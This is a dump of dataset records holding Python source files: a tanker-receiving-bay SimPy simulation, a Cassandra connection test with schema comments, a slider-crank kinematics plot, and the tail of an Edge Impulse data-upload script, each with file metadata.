})\nif (res.status_code == 200):\n print('Uploaded file to Edge Impulse', res.status_code, res.content)\nelse:\n print('Failed to upload file to Edge Impulse', res.status_code, res.content)\n", "sub_path": "train_collect.py", "file_name": "train_collect.py", "file_ext": "py", "file_size_in_byte": 3041, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "bluepy.btle.Peripheral", "line_number": 20, "usage_type": "call"}, {"api_name": "bluepy.btle", "line_number": 20, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "bluepy.btle.UUID", "line_number": 28, "usage_type": "call"}, {"api_name": "bluepy.btle", "line_number": 28, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 44, "usage_type": "attribute"}, {"api_name": "struct.unpack", "line_number": 57, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 58, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 59, "usage_type": "call"}, {"api_name": "time.time", "line_number": 66, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 85, "usage_type": "call"}, {"api_name": "hmac.new", "line_number": 88, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 88, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 92, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 95, "usage_type": "call"}]} +{"seq_id": "118377716", "text": "from __future__ import division\nimport random\nimport simpy\nimport time\nimport matplotlib.pyplot as plt\nimport matplotlib.style as style\nimport pandas as pd\nimport datetime\n\nfrom Systems.recvBay import RecvBays\nfrom Systems.plant import Plants\nfrom Agents.truck import Truck\nfrom Utilities.recvsilos import RecvSilos\nfrom Animation.animation import Animation\nimport sys\n\nRANDOM_SEED = 24\nFIXED_WASH_TIME = 10\nFIXED_SCALE_TIME = 5\nSIM_TIME = 60*60\nHUMAN_RECEIVER_OPERATION_TIME = 5\nUNLOAD_FLOW_RATE = 1000 # lbs/minute\nNUM_HUMAN_RECEIVERS = 1\nNUM_SCALES = 1\nMAX_REASONABLE_WAIT_TO_UNLOAD = 40\nPERCENTAGE_UNLOAD_TANDEM_ARRIVALS = 50\nPERCENTAGE_LOADOUT_ARRIVALS = 20\nPERCENTAGE_LOADOUT_TANDEM_ARRIVALS = 90\nPERCENTAGE_UNLOAD_REQUIRE_WASH = 100\nPERCENTAGE_LOADOUT_REQUIRE_WASH = 100\n\nRUN_ANIMATION = False\n\n\nclass Simulation(object):\n def __init__(self, name, num_scales, num_human_receivers, fixed_wash_time,\n scale_time, max_sim_time, human_receiver_operation_time, run_realtime=False):\n if run_realtime is True:\n self.env = simpy.rt.RealtimeEnvironment(initial_time=0, factor=0.05,\n strict=False)\n else:\n self.env = simpy.Environment()\n self.env.process(self.setup_simulation(name, num_scales, num_human_receivers,\n fixed_wash_time, scale_time,\n human_receiver_operation_time,\n max_sim_time))\n\n self.BaySystem = None\n self.SiloSystem = None\n self.PlantSystem = None\n\n # assuming empty system at the beginning of simulation\n self.system_truck_count = {'x': [0], 'y': [0]}\n self.count = {'tankers_in_system': {'time': [0], 'count': [0], 'color': 'blue', 'linestyle': '-',\n 'location': (0, 0)},\n 'tankers_waiting_for_scale': {'time': [0], 'count': [0], 'color': 'orange','linestyle': '-',\n 'location': (1, 0)},\n 'tankers_waiting_for_bay': {'time': [0], 'count': [0], 'color': 'teal', 'linestyle': '-',\n 'location': (2, 0)},\n 'tankers_in_bays': {'time': [0], 'count': [0], 'color': 'blue', 'linestyle': '-',\n 'location': (0, 1)},\n 'tankers_waiting_for_unload': {'time': [0], 'count': [0], 'color': 'tan', 'linestyle': '-',\n 'location': (3, 0)},\n 'tankers_waiting_for_wash': {'time': [0], 'count': [0], 'color': 'olive', 'linestyle': '-',\n 'location': None},\n 'tankers_waiting_for_loadout': {'time': [0], 'count': [0], 'color': 'wheat', 'linestyle': '-',\n 'location': (5, 0)}}\n\n self.KPIs = {'tankers_entered_scale_count': 0, 'avg_wait_to_scale': 0,\n 'tankers_entered_unload_bay_count': 0, 'avg_wait_to_unload': 0,\n 'tankers_entered_CIP_bay_count': 0, 'avg_wait_to_CIP': 0,\n 'tankers_requested_CIP_unit_count': 0, 'avg_wait_for_CIP_unit': 0,\n 'tankers_entered_loadout_bay_count': 0, 'avg_wait_to_loadout': 0,\n 'receiver_requests_count': 0, 'avg_wait_for_receiver': 0,\n 'tankers_scaled_count': 0, 'avg_scale_time': 0,\n 'tankers_unloaded_count': 0, 'avg_unload_time': 0,\n 'tankers_washed_count': 0, 'avg_wash_time': 0,\n 'tankers_loadedout_count': 0, 'avg_loadout_time': 0,\n 'receiver_procedures_count': 0, 'avg_receiver_time': 0,\n 'tankers_left': 0, 'avg_throughput_time': 0}\n\n self.KPIs_over_time = {'avg_wait_to_scale': {'time': [0], 'val': [0], 'color': 'orange', 'location': (1, 1)},\n 'avg_scale_time': {'time': [0], 'val': [0], 'color': 'orange', 'location': (1, 2)},\n 'avg_wait_to_unload': {'time': [0], 'val': [0], 'color': 'tan', 'location': (3, 1)},\n 'avg_unload_time': {'time': [0], 'val': [0], 'color': 'tan', 'location': (3, 2)},\n 'avg_wait_to_CIP': {'time': [0], 'val': [0], 'color': 'olive', 'location': (4, 0)},\n 'avg_wait_for_CIP_unit': {'time': [0], 'val': [0], 'color': 'olive', 'location': (4, 1)},\n 'avg_wash_time': {'time': [0], 'val': [0], 'color': 'olive', 'location': (4, 2)},\n 'avg_wait_to_loadout': {'time': [0], 'val': [0], 'color': 'wheat', 'location': (5, 1)},\n 'avg_loadout_time': {'time': [0], 'val': [0], 'color': 'wheat', 'location': (5, 2)},\n 'avg_wait_for_receiver': {'time': [0], 'val': [0], 'color': 'salmon', 'location':(2, 1)},\n 'avg_receiver_time': {'time': [0], 'val': [0], 'color': 'salmon', 'location': (2, 2)},\n 'avg_throughput_time': {'time': [0], 'val': [0], 'color': 'blue', 'location': (0, 2)}}\n\n # will be setup in 'setup_simulation'\n self.fig_performance, self.axes_performance, self.line_data_performance, self.annotation_performance = \\\n None, None, None, None\n self.fig_silo_levels, self.axes_silo_levels, self.silo_axis_dict, self.line_data_silo_levels = \\\n None, None, None, None\n\n def setup_simulation(self, name, num_scales, num_human_receivers, fixed_wash_time,\n scale_time, human_receiver_operation_time, max_sim_time):\n\n \"\"\"LOAD SYSTEM DATA WORKBOOK\"\"\"\n data_workbook = pd.ExcelFile(\"System Data.xlsx\")\n df_bays = pd.read_excel(data_workbook, 'Bays')\n bay_dict = df_bays.set_index(['Bay Name']).T.to_dict()\n\n df_cip_units = pd.read_excel(data_workbook, 'CIP Units')\n cip_units_dict = {unit_ID: {'bays': list(df_cip_units[df_cip_units['CIP Unit ID'] ==\n unit_ID]['Bay Name'].unique()),\n 'simultaneous_services': max(list(df_cip_units[df_cip_units['CIP Unit ID'] ==\n unit_ID]\n ['Max Simultaneous Services'].unique()))}\n for unit_ID in list(df_cip_units['CIP Unit ID'].unique())}\n\n \"\"\"SETUP BAY SYSTEM BASED ON DATA\"\"\"\n self.BaySystem = RecvBays(self.env, name, bay_dict, cip_units_dict, num_scales, num_human_receivers,\n fixed_wash_time, scale_time, human_receiver_operation_time, self.print_event)\n\n # Setup silos. Each creates simpy container object\n df_silos = pd.read_excel(data_workbook, 'Silos')\n df_silos.rename(columns={'Silo Capacity': 'capacity', 'Silo Initial Level': 'init_level',\n 'Silo Inlet Flow Rate': 'inlet_flow_rate', 'Silo Type': 'silo_type',\n 'Silo Outlet Flow Rate': 'outlet_flow_rate'}, inplace=True)\n silo_dict = df_silos.set_index('Silo Name').T.to_dict()\n\n df_bus_inlets = pd.read_excel(data_workbook, 'Bus Inlets')\n for silo in list(df_bus_inlets['Silo Name'].unique()):\n silo_dict[silo]['bays'] = dict(df_bus_inlets[df_bus_inlets['Silo Name'] ==\n silo][['Bay Name', 'Inlet Flow Rate']].values)\n\n \"\"\"SETUP SILO SYSTEM\"\"\"\n self.SiloSystem = RecvSilos(name, self.env, silo_dict,\n {bay_id: {i: bay_dict[bay_id]['Rate - Pump' + str(i)] for i in range(1, 3)\n if bay_dict[bay_id]['Rate - Pump' + str(i)] > 0}\n for bay_id in bay_dict.keys()},\n self.print_event, self.plot_silo_level)\n\n df_plants = pd.read_excel(data_workbook, 'Plants')\n df_plants.rename(columns={'Plant Intake Fluid Rate': 'intake_rate'}, inplace=True)\n plant_dict = df_plants[['Plant Name', 'intake_rate']].set_index('Plant Name').T.to_dict()\n\n \"\"\"SETUP PLANTS\"\"\"\n self.PlantSystem = Plants(self.env, plant_dict, self.SiloSystem, self.print_event)\n\n # Produce trucks until the end of simulation\n truck_id = 0\n truck_objects_list = []\n\n self.fig_silo_levels, self.axes_silo_levels, self.silo_axis_dict, self.line_data_silo_levels = \\\n self.setup_silo_plots(self.SiloSystem)\n self.fig_performance, self.axes_performance, self.line_data_performance, self.annotation_performance = self.setup_count_plot()\n\n self.plot_silo_level(self.SiloSystem.silos.keys())\n\n while True and self.env.now <= max_sim_time:\n\n self.env.process(self.PlantSystem.run_plants(self.SiloSystem))\n\n \"\"\"Wait until the next tanker arrive\"\"\"\n yield self.env.timeout(self.time_until_next_arrival())\n\n # Truck arrived, update the system truck count\n self.update_count('tankers_in_system', delta=1)\n truck_id += 1\n\n # Create a truck object with load pounds,\n # also pass in our System object(s)\n truck = Truck(truck_id, self.generate_load_config(), self.BaySystem, self.env,\n MAX_REASONABLE_WAIT_TO_UNLOAD, self.print_event)\n truck_objects_list.append(truck)\n self.print_event(time=self.env.now, agent=\"Truck \"+str(truck.name),\n event=\"Arrived for {}\".format(truck.type), fluid_lbs=truck.load_pounds)\n\n '''Start the process to unload the truck'''\n # sequentially request different silos for unload\n self.env.process(truck.request_processing(self.SiloSystem, self))\n plt.pause(0.01)\n # plt.legend()\n\n def update_kpi(self, new_value, kpi=None):\n \"\"\"\n Method when called with proper KPI will update it and call for update in plot\n \"\"\"\n\n if kpi in self.KPIs.keys():\n\n if kpi == 'avg_wait_to_scale':\n self.KPIs['avg_wait_to_scale'] = \\\n (self.KPIs['avg_wait_to_scale']*self.KPIs['tankers_entered_scale_count'] +\n new_value)/(self.KPIs['tankers_entered_scale_count'] + 1)\n self.KPIs['tankers_entered_scale_count'] += 1\n\n if kpi == 'avg_wait_to_unload':\n self.KPIs['avg_wait_to_unload'] = \\\n (self.KPIs['avg_wait_to_unload']*self.KPIs['tankers_entered_unload_bay_count'] +\n new_value)/(self.KPIs['tankers_entered_unload_bay_count'] + 1)\n self.KPIs['tankers_entered_unload_bay_count'] += 1\n\n if kpi == 'avg_wait_to_CIP':\n self.KPIs['avg_wait_to_CIP'] = \\\n (self.KPIs['avg_wait_to_CIP'] * self.KPIs['tankers_entered_CIP_bay_count'] +\n new_value) / (self.KPIs['tankers_entered_CIP_bay_count'] + 1)\n self.KPIs['tankers_entered_CIP_bay_count'] += 1\n\n if kpi == 'avg_wait_for_CIP_unit':\n self.KPIs['avg_wait_for_CIP_unit'] = \\\n (self.KPIs['avg_wait_for_CIP_unit'] * self.KPIs['tankers_requested_CIP_unit_count'] +\n new_value) / (self.KPIs['tankers_requested_CIP_unit_count'] + 1)\n self.KPIs['tankers_requested_CIP_unit_count'] += 1\n\n if kpi == 'avg_wait_to_loadout':\n self.KPIs['avg_wait_to_loadout'] = \\\n (self.KPIs['avg_wait_to_loadout'] * self.KPIs['tankers_entered_loadout_bay_count'] +\n new_value) / (self.KPIs['tankers_entered_loadout_bay_count'] + 1)\n self.KPIs['tankers_entered_loadout_bay_count'] += 1\n\n if kpi == 'avg_wait_for_receiver':\n self.KPIs['avg_wait_for_receiver'] = \\\n (self.KPIs['avg_wait_for_receiver'] * self.KPIs['receiver_requests_count'] +\n new_value) / (self.KPIs['receiver_requests_count'] + 1)\n self.KPIs['receiver_requests_count'] += 1\n\n if kpi == 'avg_scale_time':\n self.KPIs['avg_scale_time'] = \\\n (self.KPIs['avg_scale_time'] * self.KPIs['tankers_scaled_count'] +\n new_value) / (self.KPIs['tankers_scaled_count'] + 1)\n self.KPIs['tankers_scaled_count'] += 1\n\n if kpi == 'avg_unload_time':\n self.KPIs['avg_unload_time'] = \\\n (self.KPIs['avg_unload_time'] * self.KPIs['tankers_unloaded_count'] +\n new_value) / (self.KPIs['tankers_unloaded_count'] + 1)\n self.KPIs['tankers_unloaded_count'] += 1\n\n if kpi == 'avg_wash_time':\n self.KPIs['avg_wash_time'] = \\\n (self.KPIs['avg_wash_time'] * self.KPIs['tankers_washed_count'] +\n new_value) / (self.KPIs['tankers_washed_count'] + 1)\n self.KPIs['tankers_washed_count'] += 1\n\n if kpi == 'avg_loadout_time':\n self.KPIs['avg_loadout_time'] = \\\n (self.KPIs['avg_loadout_time'] * self.KPIs['tankers_loadedout_count'] +\n new_value) / (self.KPIs['tankers_loadedout_count'] + 1)\n self.KPIs['tankers_loadedout_count'] += 1\n\n if kpi == 'avg_receiver_time':\n self.KPIs['avg_receiver_time'] = \\\n (self.KPIs['avg_receiver_time'] * self.KPIs['receiver_procedures_count'] +\n new_value) / (self.KPIs['receiver_procedures_count'] + 1)\n self.KPIs['receiver_procedures_count'] += 1\n\n if kpi == 'avg_throughput_time':\n self.KPIs['avg_throughput_time'] = \\\n (self.KPIs['avg_throughput_time'] * self.KPIs['tankers_left'] +\n new_value) / (self.KPIs['tankers_left'] + 1)\n self.KPIs['tankers_left'] += 1\n\n self.update_kpi_over_time(kpi)\n\n def update_kpi_over_time(self, kpi):\n if kpi in self.KPIs_over_time.keys():\n self.KPIs_over_time[kpi]['time'].append(self.env.now)\n self.KPIs_over_time[kpi]['val'].append(self.KPIs[kpi])\n subplot_loc = self.KPIs_over_time[kpi]['location']\n # self.axes_count[self.KPIs_over_time[kpi]['location']].plot(self.KPIs_over_time[kpi]['time'],\n # self.KPIs_over_time[kpi]['val'],\n # color=self.KPIs_over_time[kpi]['color'])\n self.line_data_performance[subplot_loc].set_xdata(self.KPIs_over_time[kpi]['time'])\n self.line_data_performance[subplot_loc].set_ydata(self.KPIs_over_time[kpi]['val'])\n self.axes_performance[subplot_loc].set_ylim(0, max(self.KPIs_over_time[kpi]['val']) + 20)\n self.axes_performance[subplot_loc].set_yticks(\n range(0, int(max(self.KPIs_over_time[kpi]['val'])) + 20,\n max(int(max(self.KPIs_over_time[kpi]['val'])/5), 5)))\n if self.annotation_performance[subplot_loc] is not None:\n self.annotation_performance[subplot_loc].remove()\n self.annotation_performance[subplot_loc] = \\\n self.axes_performance[subplot_loc].annotate(\"{:.1f}\".format(self.KPIs[kpi]),\n (self.env.now, self.KPIs[kpi]))\n\n def run(self, sim_time):\n \"\"\"Start simulation with specified end time\"\"\"\n self.env.run(until=sim_time)\n\n def setup_count_plot(self):\n figure, axes = plt.subplots(6, 3)\n figure.tight_layout()\n line_data = {}\n annotation = {(i, j): None for i in range(6) for j in range(3)}\n\n for param in self.count.keys():\n subplot_loc = self.count[param]['location']\n if subplot_loc is not None: #things not to be plotted\n line_data[subplot_loc], = \\\n axes[subplot_loc].step(self.count[param]['time'], self.count[param]['count'],\n where='post', color=self.count[param]['color'],\n linestyle=self.count[param]['linestyle'])\n title = param.replace('_', ' ').upper()\n axes[subplot_loc].set_title(title)\n axes[subplot_loc].set_xlim(0, SIM_TIME)\n # axes[subplot_loc].grid(b=True, which='both')\n\n for KPI in self.KPIs_over_time.keys():\n subplot_loc = self.KPIs_over_time[KPI]['location']\n if subplot_loc is not None:\n line_data[subplot_loc], = \\\n axes[subplot_loc].plot(self.KPIs_over_time[KPI]['time'],\n self.KPIs_over_time[KPI]['val'],\n color=self.KPIs_over_time[KPI]['color'])\n title = KPI.replace('_', ' ').upper()\n axes[subplot_loc].set_title(title)\n axes[subplot_loc].set_xlim(0, SIM_TIME)\n # axes[subplot_loc].grid(b=True, which='both')\n\n return figure, axes, line_data, annotation\n\n def update_count(self, param, delta=0):\n if param in self.count.keys():\n self.count[param]['time'].append(self.env.now)\n self.count[param]['count'].append(self.count[param]['count'][-1] + delta)\n\n self.line_data_performance[self.count[param]['location']].set_xdata(self.count[param]['time'])\n self.line_data_performance[self.count[param]['location']].set_ydata(self.count[param]['count'])\n self.axes_performance[self.count[param]['location']].set_ylim(0, max(self.count[param]['count']) + 1)\n self.axes_performance[self.count[param]['location']].set_yticks(range(0,\n max(self.count[param]['count']) + 1))\n\n @staticmethod\n def setup_silo_plots(silo_system):\n fig, axes = plt.subplots(int(len(silo_system.silos.keys())/2), 2)\n fig.tight_layout()\n row_count, col_count = 0, 0\n silo_axis_dict = {}\n line_data = {}\n for silo in silo_system.silos.keys():\n line_data[(row_count, col_count)], = axes[row_count, col_count].plot(\n silo_system.level_timestamps[silo]['x'], silo_system.level_timestamps[silo]['y'], color='r')\n axes[row_count, col_count].set_title(silo)\n silo_axis_dict[silo] = (row_count, col_count)\n axes[row_count, col_count].set_ylim(0, silo_system.silos[silo].capacity)\n axes[row_count, col_count].set_xlim(0, SIM_TIME)\n axes[row_count, col_count].grid(b=True, which='both')\n\n if col_count == 1:\n col_count = 0\n row_count += 1\n else:\n col_count += 1\n return fig, axes, silo_axis_dict, line_data\n\n def plot_silo_level(self, silos):\n for silo in silos:\n self.line_data_silo_levels[self.silo_axis_dict[silo]].set_xdata(self.SiloSystem.level_timestamps[silo]['x'])\n self.line_data_silo_levels[self.silo_axis_dict[silo]].set_ydata(self.SiloSystem.level_timestamps[silo]['y'])\n\n @staticmethod\n def time_until_next_arrival():\n return random.randint(1, 60)\n\n @staticmethod\n def generate_load_config():\n '''MOVE THIS TO CLASS VARIABLE AFTER TESTING. UNNECESSARY TO GENERATE AT EVERY CALL'''\n choices_loadout_unload = PERCENTAGE_LOADOUT_ARRIVALS*['loadout'] + \\\n (100-PERCENTAGE_LOADOUT_ARRIVALS)*['unload']\n random.shuffle(choices_loadout_unload)\n choices_unload_tandems = PERCENTAGE_UNLOAD_TANDEM_ARRIVALS*['tandem'] + \\\n (100-PERCENTAGE_UNLOAD_TANDEM_ARRIVALS)*['single']\n choices_loadout_tandems = PERCENTAGE_LOADOUT_TANDEM_ARRIVALS * ['tandem'] + \\\n (100 - PERCENTAGE_LOADOUT_TANDEM_ARRIVALS) * ['single']\n choices_unload_wash = PERCENTAGE_UNLOAD_REQUIRE_WASH*[True] + \\\n (100-PERCENTAGE_UNLOAD_REQUIRE_WASH)*[False]\n choices_loadout_wash = PERCENTAGE_LOADOUT_REQUIRE_WASH * [True] + \\\n (100 - PERCENTAGE_LOADOUT_REQUIRE_WASH) * [False]\n random.shuffle(choices_unload_tandems)\n random.shuffle(choices_loadout_tandems)\n random.shuffle(choices_unload_wash)\n random.shuffle(choices_loadout_wash)\n\n if random.choice(choices_loadout_unload) == 'unload':\n if random.choice(choices_unload_tandems) == 'tandem':\n return {'type': 'unload',\n 'is_tandem': True,\n 'require_wash': random.choice(choices_unload_wash),\n 'load_pounds': random.randint(65000, 73000),\n 'percentage_pounds_front_tanker': random.randint(65, 85)}\n else:\n return {'type': 'unload',\n 'is_tandem': False,\n 'require_wash': random.choice(choices_unload_wash),\n 'load_pounds': random.randint(65000, 73000),\n 'percentage_pounds_front_tanker': 100}\n else:\n \"\"\"in case of loadouts, load_pounds are ideal requested pounds of loadout fluid\"\"\"\n if random.choice(choices_loadout_tandems) == 'tandem':\n return {'type': 'loadout',\n 'is_tandem': True,\n 'require_wash': random.choice(choices_loadout_wash),\n 'load_pounds': random.randint(65000, 73000),\n 'percentage_pounds_front_tanker': random.randint(65, 85)}\n else:\n return {'type': 'loadout',\n 'is_tandem': False,\n 'require_wash': random.choice(choices_loadout_wash),\n 'load_pounds': random.randint(65000, 73000),\n 'percentage_pounds_front_tanker': 100}\n\n @staticmethod\n def print_event(time=\"-\", system=\"-\", agent=\"-\", event=\"-\", utility=\"-\", fluid_lbs=\"-\", etc=\"-\"):\n print(\"%-8s%-12s%-12s%-35s%-12s%-13s%-15s\" % (str(time), str(system), str(agent),\n str(event), str(utility), str(fluid_lbs), str(etc)))\n\n\nclass Logger(object):\n def __init__(self):\n self.terminal = sys.stdout\n self.log = open('sim_log/output.log', 'a')\n\n def write(self, message):\n self.terminal.write(message)\n self.log.write(message)\n\n def flush(self):\n # for python 3 capability\n pass\n\n\nif __name__ == '__main__':\n sys.stdout = Logger()\n print(\"Receiving Bay - Simulation started at \" +\n \"{}\".format(datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')))\n random.seed(RANDOM_SEED)\n start = time.clock()\n\n my_sim = Simulation('Sunnyside', NUM_SCALES, NUM_HUMAN_RECEIVERS, FIXED_WASH_TIME, FIXED_SCALE_TIME,\n SIM_TIME, HUMAN_RECEIVER_OPERATION_TIME, run_realtime=False)\n print('Time taken to setup simulation = {}'.format(time.clock()-start))\n print(\"\\n\")\n my_sim.print_event(\"TIME\", \"SYSTEM\", \"AGENT\", \"EVENT\", \"UTILITY\", \"FLUID LBS\", \"ET_COMPLETION\")\n my_sim.print_event(8 * \"-\", 12 * \"-\", 12 * \"-\", 35 * \"-\", 12 * \"-\", 13 * \"-\", 15 * \"-\")\n\n # style.use('seaborn-darkgrid')\n # plt.style.use('dark_background')\n\n if RUN_ANIMATION:\n my_animation = Animation(my_sim)\n my_sim.env.process(my_animation.run_animation())\n start = time.process_time()\n my_sim.run(SIM_TIME)\n for key, val in my_sim.KPIs.items():\n print(\"{} = {}\".format(key, val))\n print(\"\\n\")\n print('Time taken to run simulation = {}'.format(time.process_time() - start))\n print(\"\\n\\n\")\n plt.show()\n", "sub_path": "sim2.py", "file_name": "sim2.py", "file_ext": "py", "file_size_in_byte": 24296, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "simpy.rt.RealtimeEnvironment", "line_number": 39, "usage_type": "call"}, {"api_name": "simpy.rt", "line_number": 39, "usage_type": "attribute"}, {"api_name": "simpy.Environment", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.ExcelFile", "line_number": 105, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 106, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 109, "usage_type": "call"}, {"api_name": "Systems.recvBay.RecvBays", "line_number": 118, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 122, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 128, "usage_type": "call"}, {"api_name": "Utilities.recvsilos.RecvSilos", "line_number": 134, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 140, "usage_type": "call"}, {"api_name": "Systems.plant.Plants", "line_number": 145, "usage_type": "call"}, {"api_name": "Agents.truck.Truck", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 288, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 288, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 332, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 332, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 360, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 367, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 376, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 377, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 378, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 379, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 381, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 382, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 385, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 386, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 387, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 391, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 392, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 396, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 399, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 400, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 401, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 405, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 406, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 417, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 430, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 432, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 432, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 432, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 433, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 434, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 438, "usage_type": "call"}, {"api_name": "Animation.animation.Animation", "line_number": 447, "usage_type": "call"}, {"api_name": "time.process_time", "line_number": 449, "usage_type": "call"}, {"api_name": "time.process_time", "line_number": 454, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 456, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 456, "usage_type": "name"}]} +{"seq_id": "183670220", "text": "from cassandra.cluster import Cluster\n\ncluster = Cluster(['172.17.0.2 '])\nsession = cluster.connect()\n\nprint(cluster)\nprint(session)\nsession.execute(\"\"\"\n\n\"\"\")\n\n\"\"\"\nCREATE KEYSPACE IF NOT EXISTS db WITH replication = { 'class': 'SimpleStrategy', 'replication_factor': '2' }\n\"\"\"\n\n\"\"\"\nCREATE TYPE db.articles (id UUID, title text, article_text text, author text, date text, modified text, url text);\n\"\"\"\n\n\"\"\"\nCREATE TYPE db.comments (id UUID, text text, date text, author text, article_url text);\n\"\"\"\n\n\"\"\"\nCREATE TYPE db.tags (id UUID, tag text, article_url text);\n\"\"\"\n\n\"\"\"\nCREATE TABLE db.articles ( id UUID PRIMARY KEY, article_url text, article_title text, author text, date text, modified text, tags list>, comments list> );\n\"\"\"\n\n\"\"\"\nCREATE TABLE db.users (id UUID PRIMARY KEY, name text, email_address text, password text, gravatar_url text);\n\"\"\"\n# https://stackoverflow.com/questions/40713693/inserting-null-values-into-cassandra\n# This is pretty cool. You don't have to set anything to any of these variables. Not null , not nothing.\n", "sub_path": "testCassandra.py", "file_name": "testCassandra.py", "file_ext": "py", "file_size_in_byte": 1068, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "cassandra.cluster.Cluster", "line_number": 3, "usage_type": "call"}]} +{"seq_id": "248565178", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n\nl1, l2, omega1 = 32, 100, 5\ntheta1_deg = np.arange(0, 361, 1)\ntheta1_rad = [np.deg2rad(th) for th in theta1_deg]\n\ntheta2_rad = np.arccos((-l1 * np.cos(theta1_rad)) / l2) + np.pi\ntheta2_deg = [np.rad2deg(th) for th in theta2_rad]\nl3 = l1 * np.sin(theta1_rad) + l2 * np.sin(theta2_rad)\n\nomega2 = -(l1 * omega1 * np.sin(theta1_rad)) / (l2 * np.sin(theta2_rad))\nv = -l1 * omega1 * np.cos(theta1_rad) - l2 * omega2 * np.cos(theta2_rad)\n\nalpha2 = (l1 * omega1 ** 2 * np.cos(theta1_rad) + l2 * omega2 **\n 2 * np.cos(theta2_rad)) / l2 * np.sin(theta2_rad)\na = l1 * omega1 ** 2 * np.sin(theta1_rad) - l2 * alpha2 * \\\n np.cos(theta2_rad) + l2 * omega2 ** 2 * np.sin(theta2_rad)\n\n# 最大值和最小值\nprint(\"l3(max)={}, v(max)={}, a(max)={}\".format(\n np.max(l3), np.max(v), np.max(a)))\nprint(\"l3(min)={}, v(min)={}, a(min)={}\".format(\n np.min(l3), np.min(v), np.min(a)))\n\n# 位移\nax1 = plt.subplot(211)\nax1.plot(theta1_deg, l3)\nax1.set_title(r\"$l_{1}-\\theta_{1}$\")\nax1.set_xlabel(r\"$\\theta_{1}$\")\nax1.set_ylabel(r\"$l_{1}/(mm)$\")\nax1.grid()\n\n# 速度\nax2 = plt.subplot(223)\nax2.plot(theta1_deg, v)\nax2.set_title(r\"$v-\\theta_{1}$\")\nax2.set_xlabel(r\"$\\theta_{1}$\")\nax2.set_ylabel(r\"$v/(mm/s)$\")\nax2.grid()\n\n# 加速度\nax3 = plt.subplot(224)\nax3.plot(theta1_deg, a)\nax3.set_title(r\"$a-\\theta_{1}$\")\nax3.set_xlabel(r\"$\\theta_{1}$\")\nax3.set_ylabel(r\"$a/(mm/s^{2})$\")\nax3.grid()\n\nplt.show()", "sub_path": "3rd/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 1448, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.arange", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 9, "usage_type": "attribute"}, {"api_name": "numpy.rad2deg", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 17, "usage_type": 